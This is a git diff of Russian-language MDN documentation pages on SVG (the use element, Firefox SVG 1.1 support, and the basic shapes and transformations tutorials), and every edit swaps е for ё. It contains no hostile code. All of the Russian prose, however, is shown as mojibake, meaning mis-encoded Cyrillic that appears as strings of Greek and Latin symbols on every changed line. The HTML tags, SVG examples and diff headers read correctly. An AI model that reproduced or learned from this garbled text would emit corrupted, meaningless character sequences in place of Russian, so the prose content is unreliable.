<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° пСрСнос.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° пСрСнос.</div>
<p>{{Compat("svg.elements.text")}}</p>
diff --git a/files/ru/web/svg/element/use/index.html b/files/ru/web/svg/element/use/index.html
index 39e26289f3..1efa68b4e0 100644
--- a/files/ru/web/svg/element/use/index.html
+++ b/files/ru/web/svg/element/use/index.html
@@ -43,7 +43,7 @@ original_slug: Web/SVG/Π­Π»Π΅ΠΌΠ΅Π½Ρ‚/use
По сообраТСниям бСзопасности, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ <a href="/en-US/docs/Web/Security/Same-origin_policy">ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ ограничСния Π΄ΠΎΠΌΠ΅Π½Π°</a> для элСмСнтов <code>use</code>Β ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΡ‚ΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ URL Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ источника Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ {{SVGAttr("href")}}.</p>
<div class="warning">
-<p>Начиная с SVG 2, Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{SVGAttr("xlink:href")}} ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ» статус "УстарСло" Π² ΠΏΠΎΠ»ΡŒΠ·Ρƒ {{SVGAttr("href")}}. Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈΡ‰ΠΈΡ‚Π΅ Π½Π° страницС {{SVGAttr("xlink:href")}}. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅,Β  Π½Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ всё Π΅Ρ‰Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΡ‚Ρ€Π΅Π±Π½ΠΎΡΡ‚ΡŒ Π² использовании {{SVGAttr("xlink:href")}} для кроссбраузСрной совмСстимости (смотритС <a href="#browser-compatibility">Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ совмСстимости</a> Π½ΠΈΠΆΠ΅).</p>
+<p>Начиная с SVG 2, Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{SVGAttr("xlink:href")}} ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ» статус "УстарСло" Π² ΠΏΠΎΠ»ΡŒΠ·Ρƒ {{SVGAttr("href")}}. Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈΡ‰ΠΈΡ‚Π΅ Π½Π° страницС {{SVGAttr("xlink:href")}}. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅,Β  Π½Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ всё Π΅Ρ‰Ρ‘ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΡ‚Ρ€Π΅Π±Π½ΠΎΡΡ‚ΡŒ Π² использовании {{SVGAttr("xlink:href")}} для кроссбраузСрной совмСстимости (смотритС <a href="#browser-compatibility">Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ совмСстимости</a> Π½ΠΈΠΆΠ΅).</p>
</div>
<h2 id="Атрибуты">Атрибуты</h2>
diff --git a/files/ru/web/svg/svg_1.1_support_in_firefox/index.html b/files/ru/web/svg/svg_1.1_support_in_firefox/index.html
index b552e8a208..0cf6a5ef86 100644
--- a/files/ru/web/svg/svg_1.1_support_in_firefox/index.html
+++ b/files/ru/web/svg/svg_1.1_support_in_firefox/index.html
@@ -97,7 +97,7 @@ translation_of: Web/SVG/SVG_1.1_Support_in_Firefox
<ul>
<li>Π’Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π°.</li>
<li>НС ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΡΠΎΠ±Π»ΡŽΠ΄Π°Π΅Ρ‚ &lt;svg:use&gt; каскадныС ΠΏΡ€Π°Π²ΠΈΠ»Π° ({{Bug(265894)}}).</li>
- <li>НС ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ события Π² Π΄Π΅Ρ€Π΅Π²ΠΎ SVGElementInstance ({{Bug(265895)}}).</li>
+ <li>НС ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ события Π² Π΄Π΅Ρ€Π΅Π²ΠΎ SVGElementInstance ({{Bug(265895)}}).</li>
</ul>
</td>
</tr>
@@ -238,7 +238,7 @@ translation_of: Web/SVG/SVG_1.1_Support_in_Firefox
<td style="background-color: rgb(204, 204, 204);"><a href="https://www.w3.org/TR/SVG11/text.html#TRefElement">tref</a></td>
<td style="background-color: rgb(204, 204, 204);">
<ul>
- <li>Π­Ρ‚Π° функция, прСдставлСнная Π² Ρ€Π°Π½Π½Π΅ΠΌ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅ спСцификации, Π±Ρ‹Π»Π° ΡƒΠ΄Π°Π»Π΅Π½Π° ΠΈΠ· Π½Π΅Π΅ ΠΈ поэтому Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π° ({{Bug(273171)}}).</li>
+ <li>Π­Ρ‚Π° функция, прСдставлСнная Π² Ρ€Π°Π½Π½Π΅ΠΌ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅ спСцификации, Π±Ρ‹Π»Π° ΡƒΠ΄Π°Π»Π΅Π½Π° ΠΈΠ· Π½Π΅Ρ‘ ΠΈ поэтому Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π° ({{Bug(273171)}}).</li>
</ul>
</td>
</tr>
@@ -376,7 +376,7 @@ translation_of: Web/SVG/SVG_1.1_Support_in_Firefox
<li>Π’Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π°.</li>
<li>Из псСвдо-Π²Ρ…ΠΎΠ΄ΠΎΠ²:<br>
<code>SourceGraphic</code>, <code>SourceAlpha</code>, <code>FillPaint</code> {{gecko_minversion_inline("17")}} ΠΈ <code>StrokePaint</code> {{gecko_minversion_inline("17")}} - Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹.</li>
- <li>ИспользованиС Π½Π΅Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ псСвдо-Π²Ρ…ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΡƒΡŽΡ‰Π΅Π³ΠΎ элСмСнта ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π° ΠΈ Ρ€ΠΈΡΠΎΠ²Π°Π½ΠΈΡŽ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠ³ΠΎ Π³Ρ€Π°Ρ„ΠΈΠΊΠ° Π±Π΅Π· ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°.</li>
+ <li>ИспользованиС Π½Π΅Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ псСвдо-Π²Ρ…ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΡƒΡŽΡ‰Π΅Π³ΠΎ элСмСнта ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π° ΠΈ Ρ€ΠΈΡΠΎΠ²Π°Π½ΠΈΡŽ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠ³ΠΎ Π³Ρ€Π°Ρ„ΠΈΠΊΠ° Π±Π΅Π· ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°.</li>
</ul>
</td>
</tr>
diff --git a/files/ru/web/svg/tutorial/basic_shapes/index.html b/files/ru/web/svg/tutorial/basic_shapes/index.html
index 290e5af23d..882ce4142f 100644
--- a/files/ru/web/svg/tutorial/basic_shapes/index.html
+++ b/files/ru/web/svg/tutorial/basic_shapes/index.html
@@ -111,7 +111,7 @@ original_slug: Web/SVG/Tutorial/ΠžΡΠ½ΠΎΠ²Π½Ρ‹Π΅_Π€ΠΈΠ³ΡƒΡ€Ρ‹
<h3 id="Polyline" name="Polyline">Ломаная линия</h3>
-<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ <a href="/en-US/Web/SVG/Element/polyline" title="en-US/Web/SVG/Element/polyline">polyline</a> воспроизводит Π³Ρ€ΡƒΠΏΠΏΡƒ соСдинСнных прямых Π»ΠΈΠ½ΠΈΠΉ. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ этот список ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ довольно Π΄Π»ΠΈΠ½Π½Ρ‹ΠΌ, всС Ρ‚ΠΎΡ‡ΠΊΠΈ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Π² ΠΎΠ΄ΠΈΠ½ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚:</p>
+<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ <a href="/en-US/Web/SVG/Element/polyline" title="en-US/Web/SVG/Element/polyline">polyline</a> воспроизводит Π³Ρ€ΡƒΠΏΠΏΡƒ соСдинённых прямых Π»ΠΈΠ½ΠΈΠΉ. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ этот список ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ довольно Π΄Π»ΠΈΠ½Π½Ρ‹ΠΌ, всС Ρ‚ΠΎΡ‡ΠΊΠΈ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Π² ΠΎΠ΄ΠΈΠ½ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚:</p>
<pre class="brush:xml;gutter:false;">&lt;polyline points="60 110, 65 120, 70 115, 75 130, 80 125, 85 140, 90 135, 95 150, 100 145"/&gt;</pre>
@@ -133,7 +133,7 @@ original_slug: Web/SVG/Tutorial/ΠžΡΠ½ΠΎΠ²Π½Ρ‹Π΅_Π€ΠΈΠ³ΡƒΡ€Ρ‹
<h3 id="Path" name="Path">ΠŸΡƒΡ‚ΡŒ</h3>
-<p><a href="/en-US/Web/SVG/Element/path" title="en-US/Web/SVG/Element/path">Path</a>, вСроятно, Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ общая Ρ„ΠΎΡ€ΠΌΠ°, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² SVG. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ элСмСнт path Π²Ρ‹Β ΠΌΠΎΠΆΠ΅Ρ‚Π΅Β Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠΈ (с Π·Π°ΠΊΡ€ΡƒΠ³Π»Π΅Π½Π½Ρ‹ΠΌΠΈ ΡƒΠ³Π»Π°ΠΌΠΈ ΠΈΠ»ΠΈ Π±Π΅Π·), окруТности, эллипсы, Π»ΠΎΠΌΠ°Π½Π½Ρ‹Π΅ Π»ΠΈΠ½ΠΈΠΈ ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠΈ; ΠΈ ΠΏΠΎ сущСству Π»ΡŽΠ±Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ‚ΠΈΠΏΡ‹ Ρ„ΠΎΡ€ΠΌ:Β ΠΊΡ€ΠΈΠ²Ρ‹Π΅ Π‘Π΅Π·ΡŒΠ΅, квадратичСскиС ΠΊΡ€ΠΈΠ²Ρ‹Π΅ ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄Ρ€ΡƒΠ³ΠΎΠ΅. По этой ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅ элСмСнт path Π±ΡƒΠ΄Π΅Ρ‚ рассмотрСн ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ <a href="/en-US/Web/SVG/Tutorial/Paths" title="en-US/Web/SVG/Tutorial/Paths">Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ сСкции</a> этого руководства, Π½ΠΎ сСйчас ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ, Ρ‡Ρ‚ΠΎ сущСствуСт СдинствСнный Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ для контроля Π΅Π³ΠΎ Ρ„ΠΎΡ€ΠΌΡ‹.</p>
+<p><a href="/en-US/Web/SVG/Element/path" title="en-US/Web/SVG/Element/path">Path</a>, вСроятно, Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ общая Ρ„ΠΎΡ€ΠΌΠ°, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² SVG. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ элСмСнт path Π²Ρ‹Β ΠΌΠΎΠΆΠ΅Ρ‚Π΅Β Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠΈ (с Π·Π°ΠΊΡ€ΡƒΠ³Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ ΡƒΠ³Π»Π°ΠΌΠΈ ΠΈΠ»ΠΈ Π±Π΅Π·), окруТности, эллипсы, Π»ΠΎΠΌΠ°Π½Π½Ρ‹Π΅ Π»ΠΈΠ½ΠΈΠΈ ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠΈ; ΠΈ ΠΏΠΎ сущСству Π»ΡŽΠ±Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ‚ΠΈΠΏΡ‹ Ρ„ΠΎΡ€ΠΌ:Β ΠΊΡ€ΠΈΠ²Ρ‹Π΅ Π‘Π΅Π·ΡŒΠ΅, квадратичСскиС ΠΊΡ€ΠΈΠ²Ρ‹Π΅ ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄Ρ€ΡƒΠ³ΠΎΠ΅. По этой ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅ элСмСнт path Π±ΡƒΠ΄Π΅Ρ‚ рассмотрСн ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ <a href="/en-US/Web/SVG/Tutorial/Paths" title="en-US/Web/SVG/Tutorial/Paths">Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ сСкции</a> этого руководства, Π½ΠΎ сСйчас ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ, Ρ‡Ρ‚ΠΎ сущСствуСт СдинствСнный Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ для контроля Π΅Π³ΠΎ Ρ„ΠΎΡ€ΠΌΡ‹.</p>
<pre class="brush:xml;gutter:false;">&lt;path d="M 20 230 Q 40 205, 50 230 T 90230"/&gt;</pre>
diff --git a/files/ru/web/svg/tutorial/basic_transformations/index.html b/files/ru/web/svg/tutorial/basic_transformations/index.html
index 698933241a..634ef93da3 100644
--- a/files/ru/web/svg/tutorial/basic_transformations/index.html
+++ b/files/ru/web/svg/tutorial/basic_transformations/index.html
@@ -24,14 +24,14 @@ original_slug: Web/SVG/Tutorial/Π‘Π°Π·ΠΎΠ²Ρ‹Π΅_ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΡ
<h2 id="ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΡ">ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΡ</h2>
-<p>Иногда Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ элСмСнт, хотя Π²Ρ‹ спозиционировали Π΅Π³ΠΎ согласно ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°ΠΌ. Для этого ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡΒ <code>translate()</code>.</p>
+<p>Иногда Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ элСмСнт, хотя Π²Ρ‹ спозиционировали Π΅Π³ΠΎ согласно ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°ΠΌ. Для этого ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡΒ <code>translate()</code>.</p>
<pre class="brush: html notranslate">&lt;svg width="40" height="50" style="background-color:#bff;"&gt;
Β  &lt;rect x="0" y="0" width="10" height="10" transform="translate(30,40)" /&gt;
&lt;/svg&gt;
</pre>
-<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ, ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½Π½Ρ‹ΠΉ Π²Β Ρ‚ΠΎΡ‡ΠΊΡƒ Β (30,40) вмСсто Ρ‚ΠΎΡ‡ΠΊΠΈΒ (0,0).</p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ, ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ Π²Β Ρ‚ΠΎΡ‡ΠΊΡƒ Β (30,40) вмСсто Ρ‚ΠΎΡ‡ΠΊΠΈΒ (0,0).</p>
<p>{{ EmbedLiveSample('Translation', '40', '50', '', 'Web/SVG/Tutorial/Basic_Transformations') }}</p>
@@ -46,7 +46,7 @@ original_slug: Web/SVG/Tutorial/Π‘Π°Π·ΠΎΠ²Ρ‹Π΅_ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΡ
&lt;/svg&gt;
</pre>
-<p>Π”Π°Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ²Π΅Ρ€Π½ΡƒΠ»ΠΈ Π½Π° 45 градусов. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для <code>rotate()</code> задаСтся Π² градусах.</p>
+<p>Π”Π°Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ²Π΅Ρ€Π½ΡƒΠ»ΠΈ Π½Π° 45 градусов. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для <code>rotate()</code> задаётся Π² градусах.</p>
<p>{{ EmbedLiveSample('Rotation', '31', '31', '', 'Web/SVG/Tutorial/Basic_Transformations') }}</p>
@@ -60,7 +60,7 @@ original_slug: Web/SVG/Tutorial/Π‘Π°Π·ΠΎΠ²Ρ‹Π΅_ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΡ
<h2 id="ΠšΠΎΠΌΠΏΠ»Π΅ΠΊΡΠ½Ρ‹Π΅_пСрСмСщСния_с_matrix"><strong id="docs-internal-guid-68ee5272-9619-cb26-01de-19a4df728cd5">ΠšΠΎΠΌΠΏΠ»Π΅ΠΊΡΠ½Ρ‹Π΅ пСрСмСщСния с <code>matrix()</code></strong></h2>
-<p>ВсС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ Π²Ρ‹ΡˆΠ΅ прСобразования ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ описаны с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ°Ρ‚Ρ€ΠΈΡ†Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠΉΒ 2x3. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒ нСсколько ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠΉ, ΠΌΠΎΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚ΠΈΡ€ΡƒΡŽΡ‰ΡƒΡŽ ΠΌΠ°Ρ‚Ρ€ΠΈΡ†Ρƒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>matrix(a, b, c, d, e, f)</code>, которая ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅Ρ‚ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ ΠΈΠ· ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ систСмы ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ Π² Π½ΠΎΠ²ΡƒΡŽ систСму ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ посрСдством:</p>
+<p>ВсС ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ Π²Ρ‹ΡˆΠ΅ прСобразования ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ описаны с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ°Ρ‚Ρ€ΠΈΡ†Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠΉΒ 2x3. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒ нСсколько ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠΉ, ΠΌΠΎΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚ΠΈΡ€ΡƒΡŽΡ‰ΡƒΡŽ ΠΌΠ°Ρ‚Ρ€ΠΈΡ†Ρƒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>matrix(a, b, c, d, e, f)</code>, которая ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅Ρ‚ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ ΠΈΠ· ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ систСмы ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ Π² Π½ΠΎΠ²ΡƒΡŽ систСму ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ посрСдством:</p>
<p><math display="block"><semantics><mrow><mo>{</mo><mtable rowspacing="0.5ex"><mtr><mtd><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>new</mi><mi></mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>=</mo><mi>a</mi><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>prev</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>c</mi><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>prev</mi><mi></mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>e</mi></mtd></mtr><mtr><mtd><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>new</mi><mi></mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>=</mo><mi>b</mi><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>prev</mi><mi></mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>d</mi><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>prev</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>f</mi></mtd></mtr></mtable></mrow><annotation encoding="TeX">\left\{ \begin{matrix} x_{\mathrm{prevCoordSys}} = a x_{\mathrm{newCoordSys}} + c y_{\mathrm{newCoordSys}} + e \\ y_{\mathrm{prevCoordSys}} = b x_{\mathrm{newCoordSys}} + d y_{\mathrm{newCoordSys}} + f \end{matrix} \right. </annotation></semantics></math></p>
